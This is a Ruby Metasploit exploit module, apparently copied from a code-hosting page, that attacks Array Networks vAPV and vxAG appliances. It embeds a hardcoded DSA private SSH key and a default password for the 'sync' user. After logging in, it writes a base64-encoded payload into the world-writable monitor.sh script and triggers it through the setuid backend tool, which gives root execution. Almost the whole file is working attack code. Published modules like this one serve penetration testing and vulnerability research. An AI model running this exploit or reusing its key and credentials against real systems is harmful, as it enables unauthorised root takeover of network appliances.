187 lines
6.5 KiB
Ruby
187 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'net/ssh'
|
|
require 'net/ssh/command_stream'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Remote::SSH
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a default hardcoded private SSH key or default hardcoded
|
|
login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made
|
|
by Array Networks. After logged in as the unprivileged user, it's possible to modify
|
|
the world-writable file /ca/bin/monitor.sh with attacker-supplied arbitrary code.
|
|
Execution is possible by using the backend tool, running setuid, to turn the debug
|
|
monitoring on. This makes it possible to trigger a payload with root privileges.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'xistence <xistence[at]0x90.nl>', # Original discovery and Metasploit module
|
|
],
|
|
'References' => [
|
|
['OSVDB', '104652'],
|
|
['OSVDB', '104653'],
|
|
['OSVDB', '104654'],
|
|
['PACKETSTORM', '125761']
|
|
],
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' => {
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic telnet'
|
|
}
|
|
},
|
|
'Targets' => [
|
|
['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2014-02-03',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RHOST(),
|
|
Opt::RPORT(22),
|
|
OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),
|
|
OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),
|
|
OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
|
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
|
]
|
|
)
|
|
end
|
|
|
|
def rhost
|
|
datastore['RHOST']
|
|
end
|
|
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
def login_key(user)
|
|
print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'")
|
|
|
|
key_data = "-----BEGIN DSA PRIVATE KEY-----\n"
|
|
key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n"
|
|
key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n"
|
|
key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n"
|
|
key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n"
|
|
key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n"
|
|
key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n"
|
|
key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n"
|
|
key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n"
|
|
key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n"
|
|
key_data += "+sqSEhA35Le2kC4Y1/A=\n"
|
|
key_data += "-----END DSA PRIVATE KEY-----\n"
|
|
|
|
opts = ssh_client_defaults.merge({
|
|
auth_methods: ['publickey'],
|
|
port: rport,
|
|
key_data: key_data
|
|
})
|
|
|
|
opts
|
|
end
|
|
|
|
def login_user_pass(user, pass)
|
|
print_status("#{rhost}:#{rport} - Attempting to login with '#{user}:#{pass}'")
|
|
factory = ssh_socket_factory
|
|
opts = {
|
|
auth_methods: ['password', 'keyboard-interactive'],
|
|
port: rport,
|
|
use_agent: false,
|
|
config: true,
|
|
password: pass,
|
|
proxy: factory,
|
|
non_interactive: true,
|
|
verify_host_key: :never
|
|
}
|
|
|
|
opts
|
|
end
|
|
|
|
def build_command
|
|
mon_temp = rand_text_alphanumeric(10)
|
|
cmd = Rex::Text.encode_base64('nohup ' + payload.encoded)
|
|
# Turn debug monitoring off, just in case it's turned on
|
|
command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;'
|
|
# Copy the data from monitor.sh to a random tmp file
|
|
command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};"
|
|
# Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file
|
|
command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;"
|
|
# Turn debug monitoring on, which will start the monitor.sh and thus our payload
|
|
command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;'
|
|
# Copy monitor.sh data back
|
|
command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh"
|
|
|
|
command
|
|
end
|
|
|
|
# def execute_command(cmd, opts)
|
|
def exploit
|
|
user = datastore['USER']
|
|
pass = datastore['PASS']
|
|
|
|
if datastore['SSHKEY']
|
|
opts = login_key(user)
|
|
else
|
|
opts = login_user_pass(user, pass)
|
|
end
|
|
|
|
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
ssh = nil
|
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
|
ssh = Net::SSH.start(rhost, user, opts)
|
|
end
|
|
rescue Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
|
|
rescue ::Timeout::Error
|
|
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
|
|
rescue Net::SSH::AuthenticationFailed
|
|
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
|
|
rescue Net::SSH::Exception => e
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
|
|
end
|
|
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
|
|
|
|
if datastore['SSHKEY']
|
|
print_good("#{rhost}:#{rport} - Login Successful (#{user}:SSH PRIVATE KEY)")
|
|
else
|
|
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
|
|
end
|
|
|
|
# Make the SSH connection and execute our commands + payload
|
|
print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")
|
|
Net::SSH::CommandStream.new(ssh, build_command)
|
|
end
|
|
end
|